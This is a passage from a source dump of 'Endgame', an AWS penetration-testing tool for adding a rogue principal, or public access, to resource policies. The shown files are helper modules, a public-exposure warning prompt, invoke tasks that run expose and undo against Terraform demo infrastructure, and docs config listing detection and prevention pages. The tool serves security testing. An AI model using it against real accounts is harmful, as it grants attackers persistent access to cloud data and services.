\"sqs\":\n            resources = sqs.SqsQueues(client=self.client, current_account_id=self.current_account_id,\n                                      region=self.region)\n        elif self.user_provided_service == \"secretsmanager\":\n            resources = secrets_manager.SecretsManagerSecrets(client=self.client,\n                                                              current_account_id=self.current_account_id,\n                                                              region=self.region)\n        elif self.user_provided_service == \"rds\":\n            resources = rds_snapshots.RdsSnapshots(client=self.client, current_account_id=self.current_account_id,\n                                                   region=self.region)\n        elif self.user_provided_service == \"ebs\":\n            resources = ebs_snapshots.EbsSnapshots(client=self.client, current_account_id=self.current_account_id,\n                                                   region=self.region)\n        elif self.user_provided_service == \"ec2-ami\":\n            resources = ec2_amis.Ec2Images(client=self.client, current_account_id=self.current_account_id,\n                                           region=self.region)\n        return resources\n\n\n\"\"\"\n    if region == \"all\":\n        logger.info(\"Listing resources in ALL regions\")\n        regions = get_available_regions(translated_service)\n        logger.debug(f\"Regions available: {', '.join(regions)}\")\n        for region in regions:\n            list_resources_by_region(service=service, profile=profile, region=self.region, cloak=cloak,\n                                     excluded_names=excluded_names, current_account_id=self.current_account_id)\n    else:\n        logger.info(\"Listing resources in %s\" % region)\n        list_resources_by_region(service=service, profile=profile, region=self.region, cloak=cloak,\n                                 excluded_names=excluded_names, current_account_id=self.current_account_id)\n\n\"\"\"\n"
  },
  {
    "path": "endgame/shared/response_message.py",
    "content": "\"\"\"\nClasses for managing responses from the various exposure classes. When you run `undo`, `add_myself`, or `set_rbp`,\n instead of returning a different dict each time, we will standardize the way in which messages are sent back from those\n functions.\n\"\"\"\nimport logging\nfrom policy_sentry.util.arns import get_resource_path_from_arn\nfrom endgame.shared.validate import validate_basic_policy_json\nfrom endgame.shared import utils\nfrom endgame.shared.policy_document import PolicyDocument\nlogger = logging.getLogger(__name__)\n\n\nclass ResponseMessage:\n    def __init__(self, message: str, operation: str, success: bool, victim_resource_arn: str, evil_principal: str,\n                 original_policy: dict, updated_policy: dict, resource_type: str, resource_name: str, service: str):\n        self.message = message\n        self.operation = operation\n        self.success = success\n        self.evil_principal = evil_principal\n        self.victim_resource_arn = victim_resource_arn\n        self.original_policy = validate_basic_policy_json(original_policy)\n        self.updated_policy = validate_basic_policy_json(updated_policy)\n        self.resource_type = resource_type\n        self.resource_name = resource_name\n        self.service = service\n\n    @property\n    def updated_policy_sids(self) -> list:\n        return utils.get_sid_names_with_error_handling(self.updated_policy)\n\n    @property\n    def original_policy_sids(self) -> list:\n        return utils.get_sid_names_with_error_handling(self.original_policy)\n\n    @property\n    def victim_resource_name(self) -> str:\n        principal_name = get_resource_path_from_arn(self.evil_principal)\n        return principal_name\n\n    @property\n    def evil_principal_name(self) -> str:\n        principal_name = get_resource_path_from_arn(self.evil_principal)\n        return principal_name\n\n    @property\n    def added_sids(self) -> list:\n        diff = []\n        if len(self.updated_policy_sids) > len(self.original_policy_sids):\n            diff = list(set(self.updated_policy_sids) - set(self.original_policy_sids))\n        return diff\n\n    @property\n    def removed_sids(self) -> list:\n        diff = []\n        if len(self.original_policy_sids) > len(self.updated_policy_sids):\n            diff = list(set(self.original_policy_sids) - set(self.updated_policy_sids))\n        return diff\n\n\nclass ResponseGetRbp:\n    def __init__(self, policy_document, success):\n        self.policy_document = policy_document\n        self.success = success\n"
  },
  {
    "path": "endgame/shared/scary_warnings.py",
    "content": "from endgame.shared import utils\n\ndef confirm_anonymous_principal():\n    utils.print_red(r\"\"\"\n\n ▄         ▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄        ▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄        ▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄  ▄  ▄ \n▐░▌       ▐░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░▌      ▐░▌▐░░░░░░░░░░░▌▐░░▌      ▐░▌▐░░░░░░░░░░░▌▐░▌▐░▌▐░▌\n▐░▌       ▐░▌▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌▐░▌░▌     ▐░▌ ▀▀▀▀█░█▀▀▀▀ ▐░▌░▌     ▐░▌▐░█▀▀▀▀▀▀▀▀▀ ▐░▌▐░▌▐░▌\n▐░▌       ▐░▌▐░▌       ▐░▌▐░▌       ▐░▌▐░▌▐░▌    ▐░▌     ▐░▌     ▐░▌▐░▌    ▐░▌▐░▌          ▐░▌▐░▌▐░▌\n▐░▌   ▄   ▐░▌▐░█▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄█░▌▐░▌ ▐░▌   ▐░▌     ▐░▌     ▐░▌ ▐░▌   ▐░▌▐░▌ ▄▄▄▄▄▄▄▄ ▐░▌▐░▌▐░▌\n▐░▌  ▐░▌  ▐░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░▌  ▐░▌  ▐░▌     ▐░▌     ▐░▌  ▐░▌  ▐░▌▐░▌▐░░░░░░░░▌▐░▌▐░▌▐░▌\n▐░▌ ▐░▌░▌ ▐░▌▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀█░█▀▀ ▐░▌   ▐░▌ ▐░▌     ▐░▌     ▐░▌   ▐░▌ ▐░▌▐░▌ ▀▀▀▀▀▀█░▌▐░▌▐░▌▐░▌\n▐░▌▐░▌ ▐░▌▐░▌▐░▌       ▐░▌▐░▌     ▐░▌  ▐░▌    ▐░▌▐░▌     ▐░▌     ▐░▌    ▐░▌▐░▌▐░▌       ▐░▌ ▀  ▀  ▀ \n▐░▌░▌   ▐░▐░▌▐░▌       ▐░▌▐░▌      ▐░▌ ▐░▌     ▐░▐░▌ ▄▄▄▄█░█▄▄▄▄ ▐░▌     ▐░▐░▌▐░█▄▄▄▄▄▄▄█░▌ ▄  ▄  ▄ \n▐░░▌     ▐░░▌▐░▌       ▐░▌▐░▌       ▐░▌▐░▌      ▐░░▌▐░░░░░░░░░░░▌▐░▌      ▐░░▌▐░░░░░░░░░░░▌▐░▌▐░▌▐░▌\n ▀▀       ▀▀  ▀         ▀  ▀         ▀  ▀        ▀▀  ▀▀▀▀▀▀▀▀▀▀▀  ▀        ▀▀  ▀▀▀▀▀▀▀▀▀▀▀  ▀  ▀  ▀ \n\"\"\")\n    print(\"\\n\")\n    utils.print_red(\"WARNING:\")\n    confirm = input(\"You are about to expose resources to the ENTIRE INTERNET. Are you sure you want to do that? [y/N]\")\n    if confirm.lower() == 'y':\n        return True\n    else:\n        return False"
  },
  {
    "path": "endgame/shared/statement_detail.py",
    "content": "import json\nfrom policy_sentry.util.arns import get_account_from_arn\n\n\n# pylint: disable=too-many-instance-attributes\nclass StatementDetail:\n    \"\"\"\n    Analyzes individual statements within a policy\n    \"\"\"\n\n    def __init__(\n            self,\n            statement: dict,\n            service: str,\n            override_action: str = None,\n            override_account_id_instead_of_principal: bool = False\n    ):\n        self.json = statement\n        self.statement = statement\n        self.sid = statement.get(\"Sid\", \"\")\n        self.effect = statement[\"Effect\"]\n\n        self.service = service\n        self.override_action = override_action\n        self.override_account_id_instead_of_principal = override_account_id_instead_of_principal\n\n        self.resources = self._resources()\n        self.actions = self._actions()\n        self.aws_principals = self._aws_principals()\n        self.other_principals = self._other_principals()\n        self.condition = statement.get(\"Condition\", None)\n        self.not_action = statement.get(\"NotAction\", None)\n        self.not_principal = statement.get(\"NotPrincipal\", None)\n        self.not_resource = statement.get(\"NotResource\", None)\n\n    def __str__(self) -> str:\n        principals_block = {}\n        result = {\n            \"Sid\": self.sid,\n            \"Effect\": self.effect,\n        }\n        if self.aws_principals:\n            principals_block[\"AWS\"] = self.aws_principals\n        if self.other_principals:\n            principals_block.update(self.other_principals)\n        result[\"Principal\"] = principals_block\n        if self.resources:\n            result[\"Resource\"] = self.resources\n        if self.actions:\n            result[\"Action\"] = self.actions\n        if self.condition:\n            result[\"Condition\"] = self.condition\n        if self.not_action:\n            result[\"NotAction\"] = self.not_action\n        if self.not_principal:\n            result[\"NotPrincipal\"] = self.not_principal\n        if self.not_resource:\n            result[\"NotResource\"] = self.not_resource\n        return json.dumps(result)\n\n    def _original_actions(self):\n        \"\"\"Holds the actions from the original JSON\"\"\"\n        actions = self.statement.get(\"Action\")\n        if not actions:\n            return []\n        if not isinstance(actions, list):\n            actions = [actions]\n        return actions\n\n    def _actions(self):\n        \"\"\"Holds the actions in a statement\"\"\"\n        # IAM Roles have a special case where you don't just provide \"iam:*\" like other resource based policies\n        # - you have to provide sts:AssumeRole. For that special case, we need to be able to override the action\n        #   in this method.\n        if self.override_action:\n            if \",\" in self.override_action:\n                action_block = self.override_action.split(\",\")\n            else:\n                action_block = self.override_action\n        else:\n            # If override action is not supplied, just give full access to the whole service 🤡\n            action_block = [f\"{self.service}:*\"]\n        return action_block\n\n    def _resources(self):\n        \"\"\"Holds the resource ARNs in a statement\"\"\"\n        resources = self.statement.get(\"Resource\")\n        if not resources:\n            return []\n        # If it's a string, turn it into a list\n        if not isinstance(resources, list):\n            resources = [resources]\n        return resources\n\n    def _aws_principals(self):\n        \"\"\"Holds the principal ARNs in a statement\"\"\"\n        principals_block = self.statement.get(\"Principal\")\n        principals = []\n        if isinstance(principals_block, str):\n            principals = principals_block\n        elif isinstance(principals_block, dict):\n            principals = principals_block.get(\"AWS\", None)\n        if not principals:\n            return []\n        # If it's a string, turn it into a list\n        if not isinstance(principals, list):\n            principals = [principals]\n        if self.override_account_id_instead_of_principal:\n            updated_principals = []\n            for principal in principals:\n                # Case: Principal = *\n                if principal == \"*\":\n                    updated_principals.append(principal)\n                # Case: principal = \"arn:aws:iam::999988887777:user/mwahahaha\"\n                elif \":\" in principal:\n                    updated_principals.append(get_account_from_arn(principal))\n                # Case: principal = 999988887777\n                else:\n                    updated_principals.append(principal)\n            return updated_principals\n        else:\n            return principals\n\n    def _other_principals(self) -> dict:\n        principals_block = self.statement.get(\"Principal\")\n        other_principals = {}\n        if isinstance(principals_block, str):\n            other_principals[\"*\"] = principals_block\n        else:\n            for principal_type in principals_block:\n                if principal_type != \"AWS\":\n                    other_principals[principal_type] = principals_block[principal_type]\n        return other_principals\n"
  },
  {
    "path": "endgame/shared/utils.py",
    "content": "import copy\nimport logging\nfrom colorama import Fore, Back\nfrom policy_sentry.util.policy_files import get_sid_names_from_policy\nfrom policy_sentry.util.arns import get_account_from_arn\nfrom endgame.shared import constants\n\nlogger = logging.getLogger(__name__)\nEND = \"\\033[0m\"\nGREY = \"\\33[90m\"\n\n\ndef get_sid_names_with_error_handling(policy):\n    try:\n        sid_names = get_sid_names_from_policy(policy)\n    # This happens when there is no Sid to be found. That means there is a length of zero.\n    except TypeError as error:\n        logger.debug(error)\n        sid_names = []\n    except KeyError as error:\n        logger.debug(\"There is no SID name in the policy\")\n        logger.debug(error)\n        sid_names = [\"\"]\n    return sid_names\n\n\ndef get_service_translation(provided_service: str) -> str:\n    \"\"\"We have to take a user-supplied service (which is named for their understanding) and transform it into the IAM\n    service. Example is cloudwatch resource policies being `logs`; `logs` is harder to remember than `cloudwatch`.\"\"\"\n    if provided_service == \"cloudwatch\":\n        actual_service = \"logs\"\n    elif provided_service == \"lambda-layer\":\n        actual_service = \"lambda\"\n    elif provided_service == \"elasticsearch\":\n        actual_service = \"es\"\n    elif provided_service == \"elasticfilesystem\":\n        actual_service = \"efs\"\n    elif provided_service == \"ebs\":\n        actual_service = \"ec2\"\n    elif provided_service == \"ec2-ami\":\n        actual_service = \"ec2\"\n    else:\n        actual_service = provided_service\n    return actual_service\n\n\ndef change_policy_principal_from_arn_to_account_id(policy: dict) -> dict:\n    \"\"\"\n    Some policies like CloudWatch, SNS, SQS, and Lambda require that you submit the policy using\n        Principal: {'AWS': '999888777'}\n    But the policy that is returned from API call includes a full ARN like:\n        Principal: {'AWS': 'arn:aws:iam::999888777:root'}\n    This utility function transforms the latter into the former.\n    \"\"\"\n    temp_statements = policy.get(\"Statement\")\n    updated_policy = constants.get_empty_policy()\n    if isinstance(temp_statements, dict):\n        temp_policy = constants.get_empty_policy()\n        temp_policy[\"Statement\"].append(temp_policy[\"Statement\"])\n    else:\n        temp_policy = copy.deepcopy(policy)\n    statements = temp_policy.get(\"Statement\")\n    for statement in statements:\n        new_statement = {}\n        try:\n            aws_principal = statement[\"Principal\"][\"AWS\"]\n            new_account_ids = []\n            # case: statement[\"Principal\"][\"AWS\"] = list()\n            if isinstance(aws_principal, list):\n                for principal in aws_principal:\n                    # case: principal = \"*\"\n                    if principal == \"*\":\n                        new_account_ids.append(principal)\n                    # case: principal = \"arn:aws:iam::999888777:root\"\n                    elif \":\" in principal:\n                        new_account_ids.append(get_account_from_arn(principal))\n                    # case: principal = \"999888777\"\n                    else:\n                        new_account_ids.append(principal)\n            else:\n                if aws_principal == \"*\":\n                    new_account_ids.append(aws_principal)\n                elif \":\" in aws_principal:\n                    new_account_ids.append(get_account_from_arn(aws_principal))\n                else:\n                    new_account_ids.append(aws_principal)\n            new_statement = copy.deepcopy(statement)\n            new_statement[\"Principal\"][\"AWS\"] = new_account_ids\n            updated_policy[\"Statement\"].append(copy.deepcopy(new_statement))\n        # If statement[\"Principal\"][\"AWS\"] does not exist, just copy the statement to the new policy\n        except AttributeError:\n            updated_policy[\"Statement\"].append(statement)\n    return updated_policy\n\n\ndef print_red(string):\n    print(f\"{Fore.RED}{string}{END}\")\n\n\ndef print_yellow(string):\n    print(f\"{Fore.YELLOW}{string}{END}\")\n\n\ndef print_blue(string):\n    print(f\"{Fore.BLUE}{string}{END}\")\n\n\ndef print_green(string):\n    print(f\"{Fore.GREEN}{string}{END}\")\n\n\ndef print_grey(string):\n    print(f\"{GREY}{string}{END}\")\n    # Color code from here: https://stackoverflow.com/a/39452138\n\n\ndef print_remove(service: str, resource_type: str, resource_name: str, principal_type: str, principal_name: str, success: bool):\n    resource_message_string = f\"{service.upper()} {resource_type.capitalize()} {resource_name}\"\n    remove_string = f\"Remove {principal_type} {principal_name}\"\n    if success:\n        success_string = f\"{Fore.GREEN}SUCCESS{END}\"\n    else:\n        success_string = f\"{Fore.RED}FAILED{END}\"\n    message = f\"{resource_message_string:<}: {remove_string}\"\n    print(f\"{message:<80}{success_string:>20}\")\n    # print_blue(f\"{message:<80}{success_string:>20}\")\n\n\ndef print_add(service: str, resource_type: str, resource_name: str, principal_type: str, principal_name: str, success: bool):\n    resource_message_string = f\"{service.upper()} {resource_type.capitalize()} {resource_name}\"\n    add_string = f\"Add {principal_type} {principal_name}\"\n    if success:\n        success_string = f\"{Fore.GREEN}SUCCESS{END}\"\n    else:\n        success_string = f\"{Fore.RED}FAILED{END}\"\n    message = f\"{resource_message_string:<}: {add_string}\"\n    # print_blue(f\"{message:<80}{success_string:>20}\")\n    print(f\"{message:<80}{success_string:>20}\")\n\n"
  },
  {
    "path": "endgame/shared/validate.py",
    "content": "import logging\nimport click\nfrom endgame.shared.constants import SUPPORTED_AWS_SERVICES\nfrom policy_sentry.util.arns import get_service_from_arn\nfrom policy_sentry.util.arns import parse_arn_for_resource_type\nlogger = logging.getLogger(__name__)\n\n\ndef click_validate_supported_aws_service(ctx, param, value):\n    if value in SUPPORTED_AWS_SERVICES:\n        return value\n    else:\n        raise click.BadParameter(\n            f\"Supply a supported AWS service. Supported services are: {', '.join(SUPPORTED_AWS_SERVICES)}\"\n        )\n\n\ndef click_validate_comma_separated_resource_names(ctx, param, value):\n    if value is not None:\n        try:\n            if value == \"\":\n                return []\n            else:\n                exclude_resource_names = value.split(\",\")\n                return exclude_resource_names\n        except ValueError:\n            raise click.BadParameter(\"Supply the list of resource names to exclude from results in a comma separated string.\")\n\n\ndef click_validate_comma_separated_excluded_services(ctx, param, value):\n    if value is not None:\n        try:\n            if value == \"\":\n                return []\n            else:\n                excluded_services = value.split(\",\")\n                for service in excluded_services:\n                    if service not in SUPPORTED_AWS_SERVICES:\n                        raise click.BadParameter(f\"The service name {service} is invalid. Please provide a comma \"\n                                                 f\"separated list of supported services from the list: \"\n                                                 f\"{','.join(SUPPORTED_AWS_SERVICES)}\")\n                return excluded_services\n        except ValueError:\n            raise click.BadParameter(\"Supply the list of resource names to exclude from results in a comma separated string.\")\n\n\ndef click_validate_user_or_principal_arn(ctx, param, value):\n    if validate_user_or_principal_arn(value):\n        return value\n    else:\n        raise click.BadParameter(\n            f\"Please supply a valid IAM principal ARN (a user or a role)\"\n        )\n\n\ndef validate_user_or_principal_arn(arn: str):\n    if arn.strip('\"').strip(\"'\") == \"*\":\n        return True\n    else:\n        service = get_service_from_arn(arn)\n        resource_type = parse_arn_for_resource_type(arn)\n        # Make sure it is an IAM ARN\n        if service != \"iam\":\n            raise Exception(\"Please supply a valid IAM principal ARN (a user or a role)\")\n        # Make sure that it is a user or a role\n        elif resource_type not in [\"user\", \"role\"]:\n            raise Exception(\"Please supply a valid IAM principal ARN (a user or a role)\")\n        else:\n            return True\n\n\ndef validate_basic_policy_json(policy_json: dict) -> dict:\n    # Expect Statement in policy\n    if \"Version\" not in policy_json or \"Statement\" not in policy_json:\n        logger.warning(\"Policy does not have either 'Version' or 'Statement' block in it.\")\n        policy = {\"Version\": \"2012-10-17\", \"Statement\": []}\n        return policy\n    else:\n        if not isinstance(policy_json.get(\"Statement\"), list):\n            logger.warning(\"'Statement' in Policy should be a list (ideally) or a dict\")\n        return policy_json\n"
  },
  {
    "path": "mkdocs.yml",
    "content": "site_name: Endgame\nsite_url: https://endgame.readthedocs.io/\nrepo_url: https://github.com/salesforce/endgame/\ntheme: material\nuse_directory_urls: true\nmarkdown_extensions:\n    - codehilite\n    - tables\nplugins:\n  - search\n  - mkdocstrings:\n      default_handler: python\n      handlers:\n        python:\n          rendering:\n            show_source: true\n      watch:\n        - endgame/\nextra_css:\n  - custom.css\nnav:\n  - Home: 'index.md'\n  - Installation: 'installation.md'\n  - Tutorial: 'tutorial.md'\n  - Detection: 'detection.md'\n  - Prevention: 'prevention.md'\n  - Recommendations To AWS: 'recommendations-to-aws.md'\n  - Permissions: 'iam-permissions.md'\n\n  - \"<b>Backdoor Resource Types</b>\":\n    - ACM Private CAs: 'risks/acm-pca.md'\n    - CloudWatch: 'risks/logs.md'\n    - Elastic Block Store (EBS): 'risks/ebs.md'\n    - EC2 Machine Images (AMIs): 'risks/amis.md'\n    - Elastic Container Registry (ECR): 'risks/ecr.md'\n    - Elastic File System (EFS): 'risks/efs.md'\n    - ElasticSearch: 'risks/es.md'\n    - Glacier Vaults: 'risks/glacier.md'\n    - IAM Roles: 'risks/iam-roles.md'\n    - KMS Keys: 'risks/kms.md'\n    - Lambda Functions: 'risks/lambda-functions.md'\n    - Lambda Layers: 'risks/lambda-layers.md'\n    - RDS Snapshots: 'risks/rds-snapshots.md'\n    - S3 Buckets: 'risks/s3.md'\n    - Secrets Manager: 'risks/secretsmanager.md'\n    - SES Authorized Senders: 'risks/ses.md'\n    - SNS Topics: 'risks/sns.md'\n    - SQS Queues: 'risks/sqs.md'\n\n  - \"<b>Contributing</b>\":\n    - Contributing: 'contributing/contributing.md'\n    - Testing: 'contributing/testing.md'\n\n  - \"<b>Appendices</b>\":\n    - Terraform Demo Infrastructure: 'appendices/terraform-demo-infrastructure.md'\n    - ACM PCA Activation: 'appendices/acm-pca-activation.md'\n    - Roadmap: 'appendices/roadmap.md'\n    - FAQ: 'appendices/faq.md'\n    - Resource Policy Primer: 'resource-policy-primer.md'\n"
  },
  {
    "path": "requirements-dev.txt",
    "content": "pytest==6.2.2\nnose==1.3.7\nblack==20.8b1\nbandit==1.7.0\ncoverage==5.4\npylint==2.6.0\ninvoke==1.5.0\npandas==1.2.2\nopenpyxl==3.0.6\nmoto==1.3.16\nmkdocs==1.1.2\nmkdocs-material==6.2.8\nmkdocs-material-extensions==1.0.1\nmkdocstrings==0.14.0\nrsa>=4.7 # not directly required, pinned by Snyk to avoid a vulnerability\n"
  },
  {
    "path": "requirements.txt",
    "content": "click==7.1.2\nbotocore==1.20.5\nboto3==1.17.5\npolicy_sentry==0.11.5\ncolorama==0.4.4"
  },
  {
    "path": "setup.cfg",
    "content": "[nosetests]\nexe = True\ntests = test/, test/command, test/shared, test/exposure_via_resource_policies\nverbosity=2\n\n[tool:pytest]\ntestpaths = test\n#verbosity=2\npython_files=test/*/test_*.py\n#ignore= __pycache__ *.pyc\nnorecursedirs = .svn _build tmp* __pycache__\n\n# Exclude: __pycache__ / .pyc\n[coverage:run]\n;include =\n;    # endgame only\n;    endgame/*\n;source=endgame/*\nomit =\n    # omit anything in a .local directory anywhere\n    */.local/*\n    */virtualenv/*\n    */venv/*\n    */.venv/*\n    */docs/*\n    */examples/*\n    utils/*\n    # omit everything in /usr\n;    /usr/*\n    # omit this single file\n;    utils/tirefire.py\n"
  },
  {
    "path": "setup.py",
    "content": "\"\"\"Setup script\"\"\"\nimport setuptools\nimport os\nimport re\n\nHERE = os.path.abspath(os.path.dirname(__file__))\nVERSION_RE = re.compile(r\"\"\"__version__ = ['\"]([0-9.]+)['\"]\"\"\")\nTESTS_REQUIRE = [\"coverage\", \"nose\", \"pytest\", \"moto[s3]\"]\n\n\ndef get_version():\n    init = open(os.path.join(HERE, \"endgame\", \"bin\", \"version.py\")).read()\n    return VERSION_RE.search(init).group(1)\n\n\ndef get_description():\n    return open(\n        os.path.join(os.path.abspath(HERE), \"README.md\"), encoding=\"utf-8\"\n    ).read()\n\n\nsetuptools.setup(\n    name=\"endgame\",\n    include_package_data=True,\n    version=get_version(),\n    author=\"Kinnaird McQuade\",\n    author_email=\"kinnairdm@gmail.com\",\n    description=\"An AWS Pentesting tool that lets you use one-liner commands to backdoor an AWS account's resources with a rogue AWS account - or to the entire internet 😈\",\n    long_description=get_description(),\n    long_description_content_type=\"text/markdown\",\n    url=\"https://github.com/salesforce/endgame\",\n    packages=setuptools.find_packages(exclude=[\"test*\"]),\n    tests_require=TESTS_REQUIRE,\n    install_requires=[\n        \"botocore\",\n        \"boto3\",\n        \"click\",\n        \"policy_sentry>=0.11.5\",\n        \"colorama\",\n    ],\n    classifiers=[\n        \"Programming Language :: Python :: 3\",\n        \"License :: OSI Approved :: MIT License\",\n        \"Operating System :: OS Independent\",\n    ],\n    entry_points={\"console_scripts\": \"endgame=endgame.bin.cli:main\"},\n    zip_safe=True,\n    keywords=\"aws iam security\",\n    python_requires=\">=3.7\",\n)\n"
  },
  {
    "path": "tasks.py",
    "content": "#!/usr/bin/env python\nimport sys\nimport os\nimport logging\nfrom invoke import task, Collection\n\nBIN = os.path.abspath(os.path.join(os.path.dirname(__file__), \"endgame\", \"bin\", \"cli.py\"))\nsys.path.append(\n    os.path.abspath(\n        os.path.join(os.path.dirname(__file__), os.path.pardir, \"endgame\")\n    )\n)\n\nlogger = logging.getLogger(__name__)\n# services that we will expose in these tests\nEXPOSE_SERVICES = [\n    \"iam\",\n    \"ecr\",\n    # \"secretsmanager\",\n    \"lambda\"\n]\n# services to run the list-resources command against\nLIST_SERVICES = [\n    \"iam\",\n    \"lambda\",\n    \"ecr\",\n    \"efs\",\n    \"secretsmanager\",\n    \"s3\"\n]\n\nEVIL_PRINCIPAL = os.getenv(\"EVIL_PRINCIPAL\")\nif not os.getenv(\"EVIL_PRINCIPAL\"):\n    raise Exception(\"Please set the EVIL_PRINCIPAL environment variable to the ARN of the rogue principal that you \"\n                    \"want to give access to.\")\n\n# Create the necessary collections (namespaces)\nns = Collection()\n\ntest = Collection(\"test\")\nns.add_collection(test)\n\n# def exception_handler(func):\n#     def inner_function(*args, **kwargs):\n#         try:\n#             func(*args, **kwargs)\n#         except UnexpectedExit as u_e:\n#             logger.critical(f\"FAIL! UnexpectedExit: {u_e}\")\n#             sys.exit(1)\n#         except Failure as f_e:\n#             logger.critical(f\"FAIL: Failure: {f_e}\")\n#             sys.exit(1)\n#\n#     return inner_function\n\n\n# BUILD\n@task\ndef build_package(c):\n    \"\"\"Build the policy_sentry package from the current directory contents for use with PyPi\"\"\"\n    c.run('python -m pip install --upgrade setuptools wheel')\n    c.run('python setup.py -q sdist bdist_wheel')\n\n\n@task(pre=[build_package])\ndef install_package(c):\n    \"\"\"Install the package built from the current directory contents (not PyPi)\"\"\"\n    c.run('pip3 install -q dist/endgame-*.tar.gz')\n\n\n@task\ndef create_terraform(c):\n    c.run(\"make terraform-demo\")\n\n\n@task\ndef destroy_terraform(c):\n    c.run(\"make terraform-destroy\")\n\n\n# @exception_handler\n# @task(pre=[create_terraform], post=[destroy_terraform])\n# @task\n@task(pre=[install_package])\ndef list_resources(c):\n    for service in LIST_SERVICES:\n        c.run(f\"echo '\\nListing {service}'\", pty=True)\n\n\n# @exception_handler\n# @task(pre=[create_terraform], post=[destroy_terraform])\n@task\ndef expose_dry_run(c):\n    \"\"\"DRY RUN\"\"\"\n    for service in EXPOSE_SERVICES:\n        c.run(f\"{BIN} expose --service {service} --name test-resource-exposure --dry-run\", pty=True)\n\n# @exception_handler\n# @task(pre=[create_terraform], post=[destroy_terraform])\n@task\ndef expose_undo(c):\n    \"\"\"Test the undo capability, even though we will destroy it after anyway (just to test the capability)\"\"\"\n    c.run(f\"echo 'Exposing the Terraform infrastructure to {EVIL_PRINCIPAL}'\")\n    for service in EXPOSE_SERVICES:\n        c.run(f\"{BIN} expose --service {service} --name test-resource-exposure \", pty=True)\n        c.run(f\"echo 'Undoing the exposure to {EVIL_PRINCIPAL} before destroying, just to be extra sure and to test \"\n              f\"it out.'\")\n        c.run(f\"{BIN} expose --service {service} --name test-resource-exposure --undo\", pty=True)\n\n\n# @exception_handler\n# @task(pre=[create_terraform], post=[destroy_terraform])\n@task\ndef expose(c):\n    \"\"\"REAL EXPOSURE TO ROGUE ACCOUNT\"\"\"\n    for service in EXPOSE_SERVICES:\n        c.run(f\"echo 'Exposing the Terraform infrastructure to {EVIL_PRINCIPAL}'\")\n        c.run(f\"{BIN} expose --service {service} --name test-resource-exposure\", pty=True)\n\n\ntest.add_task(list_resources, \"list-resources\")\ntest.add_task(expose_dry_run, \"expose-dry-run\")\ntest.add_task(expose_undo, \"expose-undo\")\ntest.add_task(expose, \"expose\")\n"
  },
  {
    "path": "terraform/acm-pca/acm_pca.tf",
    "content": "# https://docs.aws.amazon.com/acm-pca/latest/userguide/pca-rbp.html\n\nresource \"aws_acmpca_certificate_authority\" \"example\" {\n  certificate_authority_configuration {\n    key_algorithm     = \"RSA_4096\"\n    signing_algorithm = \"SHA512WITHRSA\"\n\n    subject {\n      organization = var.name\n      common_name = var.name\n    }\n  }\n\n  permanent_deletion_time_in_days = 7\n  type = \"ROOT\"\n}"
  },
  {
    "path": "terraform/acm-pca/outputs.tf",
    "content": "output \"id\" {\n  value = aws_acmpca_certificate_authority.example.id\n}\n\noutput \"arn\" {\n  value = aws_acmpca_certificate_authority.example.arn\n}"
  },
  {
    "path": "terraform/acm-pca/variables.tf",
    "content": "variable \"name\" {\n  type    = string\n  default = \"test-resource-exposure.com\"\n}"
  },
  {
    "path": "terraform/all.tf",
    "content": "//module \"acm_pca\" {\n//  source = \"./acm-pca\"\n//}\n\nmodule \"cloudwatch_resource_policy\" {\n  source = \"./cloudwatch-resource-policy\"\n}\n\nmodule \"ebs\" {\n  source = \"./ebs-snapshot\"\n}\n\nmodule \"ec2_ami\" {\n  source = \"./ec2-ami\"\n}\n\nmodule \"ecr\" {\n  source = \"./ecr-repository\"\n}\n\nmodule \"efs\" {\n  source = \"./efs-file-system\"\n}\n\n//module \"elasticsearch_domain\" {\n//  source = \"./elasticsearch-domain\"\n//}\n\nmodule \"glacier\" {\n  source = \"./glacier-vault\"\n}\n\nmodule \"iam_role\" {\n  source = \"./iam-role\"\n}\n\nmodule \"lambda_function\" {\n  source = \"./lambda-function\"\n}\n\nmodule \"lambda_layer\" {\n  source = \"./lambda-layer\"\n}\n\nmodule \"rds_snapshot\" {\n  source = \"./rds-snapshot\"\n}\n\nmodule \"s3_bucket\" {\n  source = \"./s3-bucket\"\n}\n\n\n//module \"secrets_manager\" {\n//  source = \"./secrets-manager\"\n//}\n\nmodule \"ses_identity\" {\n  source      = \"./ses-domain-identity\"\n}\n\nmodule \"sns_topic\" {\n  source = \"./sns-topic\"\n}\n\nmodule \"sqs_queue\" {\n  source = \"./sqs-queue\"\n}\n\n\n\n//output \"names\" {\n//  value = module.ec2_ami.ami_id\n//}\n\n/*\nElasticSearch Domain: ${module.elasticsearch_domain.name}\nSecrets Manager: ${module.secrets_manager.name}\nACM Private Certificate Authority (ACM PCA): ${module.acm_pca.arn}\n*/\n\noutput \"names\" {\n  value = <<README\nEBS Volume: ${module.ebs.id}\nECR Registry: ${module.ecr.name}\nEC2 AMI: ${module.ec2_ami.ami_id}\nEFS File System: ${module.efs.id}\nIAM Role: ${module.iam_role.name}\nLambda Function: ${module.lambda_function.name}\nLambda Layer: ${module.lambda_layer.name}\nRDS Snapshot: ${module.rds_snapshot.snapshot_identifier}\nS3 Bucket: ${module.s3_bucket.name}\nSES Identity: ${module.ses_identity.name}\nSNS Topic: ${module.sns_topic.name}\nSQS Queue: ${module.sqs_queue.name}\nREADME\n}\n\n// For the ACM Private Certificate Authority, you will need to access the AWS console after it is created. See the tutorial for more instructions.\n"
  },
  {
    "path": "terraform/cloudwatch-resource-policy/main.tf",
    "content": "data \"aws_caller_identity\" \"current\" {}\n\ndata \"aws_iam_policy_document\" \"example\" {\n  statement {\n    actions = [\n      \"logs:CreateLogStream\",\n      \"logs:PutLogEvents\",\n      \"logs:PutLogEventsBatch\",\n    ]\n\n    resources = [\"arn:aws:logs:*\"]\n\n    principals {\n      identifiers = [data.aws_caller_identity.current.account_id]\n      type        = \"AWS\"\n    }\n  }\n}\n\nresource \"aws_cloudwatch_log_resource_policy\" \"elasticsearch-log-publishing-policy\" {\n  policy_document = data.aws_iam_policy_document.example.json\n  policy_name     = \"test-resource-exposure\"\n}"
  },
  {
